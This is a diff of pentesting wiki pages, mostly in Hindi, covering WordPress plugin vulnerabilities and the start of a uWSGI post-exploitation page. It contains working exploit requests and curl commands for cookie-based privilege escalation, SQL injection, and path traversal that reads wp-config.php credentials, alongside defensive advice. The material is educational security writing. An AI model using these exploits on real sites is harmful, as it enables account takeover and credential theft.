рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕реНрдкрд╖реНрдЯ рдиреАрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВред +- рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓/рд░реЛрд▓ рдЕрдкрдбреЗрдЯреНрд╕ рдкрд░ тАЬoriginal rolesтАЭ рд╕реНрдерд┐рддрд┐ рдХреЛ рдЕрдорд╛рдиреНрдп рдХрд░реЗрдВ рддрд╛рдХрд┐ рдкреБрд░рд╛рдиреА рдЙрдЪреНрдЪ-рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реА рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- рдЕрд╕реНрдерд╛рдпреА рднреВрдорд┐рдХрд╛ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдиреНрдпреВрдирддрдо state рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдФрд░ time-limited, capability-guarded tokens рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред +- рдЕрд╕реНрдерд╛рдпреА role switches рдХреЗ рд▓рд┐рдП рдиреНрдпреВрдирддрдо state рд╣реА рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдФрд░ time-limited, capability-guarded tokens рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред --- -### Unauthenticated privilege escalation via cookieтАСtrusted user switching on public `init` (Service Finder тАЬsf-bookingтАЭ) +### Unauthenticated privilege escalation via cookieтАСtrusted user switching on public init (Service Finder тАЬsf-bookingтАЭ) -рдХреБрдЫ plugins рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рдкрд░ user-switching helpers рдХреЛ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ рдФрд░ рдкрд╣рдЪрд╛рди client-controlled cookie рд╕реЗ рдирд┐рдХрд╛рд▓рддреЗ рд╣реИрдВред рдпрджрд┐ рдХреЛрдб `wp_set_auth_cookie()` рдХреЛ authentication, capability рдФрд░ рдПрдХ рд╡реИрдз nonce рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА unauthenticated рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдХрд┐рд╕реА рднреА arbitrary user ID рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдХреБрдЫ plugins рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рдкрд░ user-switching helpers рдХреЛ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ рдФрд░ рдкрд╣рдЪрд╛рди client-controlled cookie рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИред рдпрджрд┐ рдХреЛрдб authentication, capability рдФрд░ рдПрдХ рд╡реИрдз `nonce` рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд┐рдП рдмрд┐рдирд╛ `wp_set_auth_cookie()` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА unauthenticated visitor рдХрд┐рд╕реА рднреА arbitrary user ID рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝-рдЬрдмрд░реНрджрд╕реНрддреА рд▓реЙрдЧрд┐рди рдХрд░рд╡рд╛ рд╕рдХрддрд╛ рд╣реИред Typical vulnerable pattern (simplified from Service Finder Bookings тЙд 6.1): ```php @@ -591,13 +589,13 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -рдХреНрдпреЛрдВ рдпрд╣ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ +рдХреНрдпреЛрдВ рдпрд╣ exploitable рд╣реИ -- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рд╣реИрдВрдбрд▓рд░ рдХреЛ рдЧреИрд░-рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ (рдХреЛрдИ `is_user_logged_in()` рдЧрд╛рд░реНрдб рдирд╣реАрдВ)ред -- рдкрд╣рдЪрд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ-рдкрд░рд┐рд╡рд░реНрддрдиреАрдп cookie (`original_user_id`) рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИред -- рд╕реАрдзреЗ `wp_set_auth_cookie($uid)` рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА capability/nonce рдЬрд╛рдБрдЪ рдХреЗ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рджреЗрддрд╛ рд╣реИред +- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рд╣реИрдВрдбрд▓рд░ рдХреЛ unauthenticated users рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ (рдХреЛрдИ `is_user_logged_in()` guard рдирд╣реАрдВ). +- рдкрд╣рдЪрд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ-рдкрд░рд┐рд╡рд░реНрддрдиреАрдп cookie (`original_user_id`) рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИ. +- `wp_set_auth_cookie($uid)` рдХреЗ рд╕реАрдзреЗ рдХреЙрд▓ рд╕реЗ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЛ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдХрд┐рд╕реА capability/nonce рдЬрд╛рдВрдЪ рдХреЗ. -рд╢реЛрд╖рдг (рдЧреИрд░-рдкреНрд░рдорд╛рдгреАрдХреГрдд) +Exploitation (unauthenticated) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -607,32 +605,32 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### WordPress/plugin CVEs рдХреЗ рд▓рд┐рдП WAF рдкрд░ рд╡рд┐рдЪрд╛рд░ -Generic edge/server WAFs рд╡реНрдпрд╛рдкрдХ рдкреИрдЯрд░реНрди (SQLi, XSS, LFI) рдХреЗ рд▓рд┐рдП рдЯреНрдпреВрди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХрдИ highтАСimpact WordPress/plugin flaws application-specific logic/auth рдмрдЧ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рддрдм рддрдХ рд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд╝рд┐рдХ рдЬреИрд╕реЗ рджрд┐рдЦрддреЗ рд╣реИрдВ рдЬрдм рддрдХ рдЗрдВрдЬрди WordPress routes рдФрд░ plugin semantics рдХреЛ рди рд╕рдордЭреЗред +Generic edge/server WAFs рд╡реНрдпрд╛рдкрдХ рдкреИрдЯрд░реНрди (SQLi, XSS, LFI) рдХреЗ рд▓рд┐рдП рдЯреНрдпреВрди рдХрд┐рдП рдЧрдП рд╣реЛрддреЗ рд╣реИрдВред рдХрдИ highтАСimpact WordPress/plugin flaws рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓реЙрдЬрд┐рдХ/auth рдмрдЧ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд╝рд┐рдХ рдЬреИрд╕рд╛ рджрд┐рдЦрддреЗ рд╣реИрдВ рдЬрдм рддрдХ engine WordPress routes рдФрд░ plugin semantics рдХреЛ рди рд╕рдордЭреЗред Offensive notes -- рдкреНрд▓рдЧрдЗрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ endpoints рдХреЛ clean payloads рдХреЗ рд╕рд╛рде рд▓рдХреНрд╖рд┐рдд рдХрд░реЗрдВ: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- рдкрд╣рд▓реЗ unauth paths рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)ред Default payloads рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ obfuscation рдХреЗ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВред -- рд╕рд╛рдорд╛рдиреНрдп high-impact рдорд╛рдорд▓реЗ: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- рдХреНрд▓реАрди payloads рдХреЗ рд╕рд╛рде plugin-рд╡рд┐рд╢рд┐рд╖реНрдЯ endpoints рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░реЗрдВ: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- рдкрд╣рд▓реЗ рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд paths рдЖрдЬрд╝рдорд╛рдПрдБ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)ред рдбрд┐рдлрд╝реЙрд▓реНрдЯ payloads рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ obfuscation рдХреЗ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВред +- рд╕рд╛рдорд╛рдиреНрдп high-impact рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive notes -- plugin CVEs рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП generic WAF signatures рдкрд░ рдирд┐рд░реНрднрд░ рди рд░рд╣реЗрдВред application-layer, vulnerability-specific virtual patches рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдпрд╛ рдЬрд▓реНрджреА рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред -- code рдореЗрдВ negative regex filters рдХреА рдмрдЬрд╛рдп positive-security checks (capabilities, nonces, strict input validation) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред +- plugin CVEs рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп WAF signatures рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВред рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░, vulnerability-specific рд╡рд░реНрдЪреБрдЕрд▓ рдкреИрдЪ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдпрд╛ рдЬрд▓реНрджреА рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред +- рдХреЛрдб рдореЗрдВ negative regex filters рдХреА рдмрдЬрд╛рдп positive-security checks рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ (capabilities, nonces, strict input validation)ред -## WordPress Protection +## WordPress рд╕реБрд░рдХреНрд╖рд╛ -### Regular Updates +### рдирд┐рдпрдорд┐рдд рдЕрдкрдбреЗрдЯ -рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WordPress, plugins, рдФрд░ themes рдЕрдк рдЯреВ рдбреЗрдЯ рд╣реИрдВред рдпрд╣ рднреА рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ automated updating wp-config.php рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ: +рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WordPress, plugins, рдФрд░ themes рдЕрдкрдбреЗрдЯреЗрдб рд╣реИрдВред рд╕рд╛рде рд╣реА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ рдХрд┐ automated updating wp-config.php рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes рд╣реА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ**ред +рд╕рд╛рде рд╣реА, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes рд╣реА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ**ред ### рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд▓рдЧрдЗрдиреНрд╕ @@ -644,14 +642,13 @@ Also, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes - рдбрд┐рдлрд╝реЙрд▓реНрдЯ **admin** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣рдЯрд╛рдПрдБ - **рдордЬрдмреВрдд рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ **2FA** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ -- рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рдХреА **рд╕рдореАрдХреНрд╖рд╛** рдХрд░реЗрдВ -- **рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ** рддрд╛рдХрд┐ Brute Force attacks рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ -- **`wp-admin.php`** рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ IP рдкрддреЛрдВ рд╕реЗ рд╣реА рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред +- рд╕рдордп-рд╕рдордп рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рдХреА **рд╕рдореАрдХреНрд╖рд╛** рдХрд░реЗрдВ +- Brute Force attacks рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП **рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ** +- **`wp-admin.php`** рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ рдирд┐рд╢реНрдЪрд┐рдд IP рдкрддреЛрдВ рд╕реЗ рд╣реА рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред +### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -### Unauthenticated SQL Injection тАФ рдЕрдкрд░реНрдпрд╛рдкреНрдд рд╡реИрд▓рд┐рдбреЗрд╢рди рдХреЗ рдХрд╛рд░рдг (WP Job Portal <= 2.3.2) - -The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдб inside `modules/category/model.php::validateFormData()`: +The WP Job Portal recruitment plugin рдиреЗ рдПрдХ **savecategory** рдЯрд╛рд╕реНрдХ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЬреЛ рдЕрдВрддрддрдГ `modules/category/model.php::validateFormData()` рдХреЗ рдЕрдВрджрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд vulnerable code рдХреЛ execute рдХрд░рддрд╛ рд╣реИ: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -661,11 +658,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat тЬЧ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +рдЗрд╕ snippet рд╕реЗ рдЙрддреНрдкрдиреНрди рдореБрджреНрджреЗ: -1. **Unsanitised user input** тАУ `parentid` рд╕реАрдзреЗ HTTP request рд╕реЗ рдЖрддрд╛ рд╣реИ. -2. **String concatenation inside the WHERE clause** тАУ `is_numeric()` / `esc_sql()` / prepared statement рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ. -3. **Unauthenticated reachability** тАУ рд╣рд╛рд▓рд╛рдВрдХрд┐ action `admin-post.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ execute рд╣реЛрддрд╛ рд╣реИ, рдореМрдЬреВрдж рдХреЗрд╡рд▓ рдЬрд╛рдВрдЪ **CSRF nonce** (`wp_verify_nonce()` ) рд╣реИ, рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдЙрд╕ рдкрдмреНрд▓рд┐рдХ рдкреЗрдЬ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ shortcode `[wpjobportal_my_resumes]` embed рдХрд░рддрд╛ рд╣реИред +1. **Unsanitised user input** тАУ `parentid` рд╕реАрдзрд╛ HTTP request рд╕реЗ рдЖрддрд╛ рд╣реИред +2. **String concatenation inside the WHERE clause** тАУ рдХреЛрдИ `is_numeric()` / `esc_sql()` / prepared statement рдирд╣реАрдВ рд╣реИред +3. **Unauthenticated reachability** тАУ рднрд▓реЗ рд╣реА action `admin-post.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ execute рд╣реЛрддрд╛ рд╣реИ, рдпрд╣рд╛рдБ рд╕рд┐рд░реНрдлрд╝ рдПрдХ рдЪреЗрдХ рд╣реИ: **CSRF nonce** (`wp_verify_nonce()`), рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдЙрд╕ public рдкреЗрдЬ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ shortcode `[wpjobportal_my_resumes]` embed рдХрд░рддрд╛ рд╣реИред #### рд╢реЛрд╖рдг @@ -673,7 +670,7 @@ Issues introduced by this snippet: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. `parentid` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary SQL inject рдХрд░реЗрдВ: +2. `parentid` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary SQL рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -681,18 +678,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Response рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП query рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдпрд╛ database рдХреЛ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SQLi рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИред +рд░рд┐рд╕реНрдкреЙрдиреНрд╕ injected query рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ рдпрд╛ database рдХреЛ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SQLi рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИред -### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -рдПрдХ рдФрд░ рдЯрд╛рд╕реНрдХ, **downloadcustomfile**, рд╡рд┐рдЬрд╝рд┐рдЯрд░реНрд╕ рдХреЛ path traversal рдХреЗ рдЬрд░рд┐рдП рдбрд┐рд╕реНрдХ рдкрд░ рдореМрдЬреВрдж **рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓** рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдХрдордЬреЛрд░ sink `modules/customfield/model.php::downloadCustomUploadedFile()` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ: +рдПрдХ рдФрд░ task, **downloadcustomfile**, рд╡рд┐рдЬрд╝рд┐рдЯрд░реНрд╕ рдХреЛ path traversal рдХреЗ рдЬрд░рд┐рдП **disk рдкрд░ рдореМрдЬреВрдж рдХрд┐рд╕реА рднреА file** рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдХрдордЬреЛрд░ sink `modules/customfield/model.php::downloadCustomUploadedFile()` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ concatenated **without sanitisation**ред рдлрд┐рд░ рд╕реЗ, рдПрдХрдорд╛рддреНрд░ рдмрд╛рдзрд╛ **CSRF nonce** рд╣реИ рдЬрд┐рд╕реЗ resume page рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +`$file_name` рдЕрдЯреИрдХрд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ рдмрд┐рдирд╛ **sanitisation** рдХреЗ рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рд╕реЗ, рдПрдХрдорд╛рддреНрд░ рдмрд╛рдзрд╛ рдПрдХ **CSRF nonce** рд╣реИ рдЬрд┐рд╕реЗ resume рдкреГрд╖реНрда рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред #### Exploitation ```bash @@ -703,7 +700,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -рд╕рд░реНрд╡рд░ `wp-config.php` рдХреА рд╕рд╛рдордЧреНрд░реА рд╡рд╛рдкрд╕ рдХрд░рддрд╛ рд╣реИ, leaking DB credentials and auth keysред +рд╕рд░реНрд╡рд░ `wp-config.php` рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрддрд╛ рд╣реИ, leaking DB credentials рдФрд░ auth keysред ## рд╕рдВрджрд░реНрдн diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md new file mode 100644 index 000000000..4b6fd0c4b --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -0,0 +1,169 @@ +# WSGI рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдЯреНрд░рд┐рдХреНрд╕ + +{{#include ../../banners/hacktricks-training.md}} + +## WSGI рдЕрд╡рд▓реЛрдХрди + +Web Server Gateway Interface (WSGI) рдПрдХ specification рд╣реИ рдЬреЛ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рдПрдХ web server рдХреИрд╕реЗ web applications рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХреИрд╕реЗ web applications рдХреЛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП chaining рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред uWSGI рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп WSGI servers рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ, рдЕрдХреНрд╕рд░ Python web applications рдХреЛ serve рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред + +## uWSGI рдореИрдЬрд┐рдХ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХрд╛ рд╢реЛрд╖рдг + +uWSGI рд╡рд┐рд╢реЗрд╖ "magic variables" рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ server рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ dynamic рд░реВрдк рд╕реЗ configure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ variables HTTP headers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рд╕рд╣реА рддрд░рд╣ рд╕реЗ validate рди рдХрд┐рдП рдЬрд╛рдПрдБ рддреЛ рдЧрдВрднреАрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдкреИрджрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +### рдкреНрд░рдореБрдЦ рд╢реЛрд╖рдгреАрдп рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ + +#### `UWSGI_FILE` - рдордирдорд╛рдиреА рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрди +``` +uwsgi_param UWSGI_FILE /path/to/python/file.py; +``` +рдпрд╣ рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд┐рд╕реА рднреА Python рдлрд╛рдЗрд▓реЛрдВ рдХреЛ WSGI рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдЧрд░ рдХреЛрдИ attacker рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡реЗ Remote Code Execution (RCE) рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +#### `UWSGI_SCRIPT` - Script Loading +``` +uwsgi_param UWSGI_SCRIPT module.path:callable; +uwsgi_param SCRIPT_NAME /endpoint; +``` +рдирд┐рд╢реНрдЪрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдХ рдирдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд░реВрдк 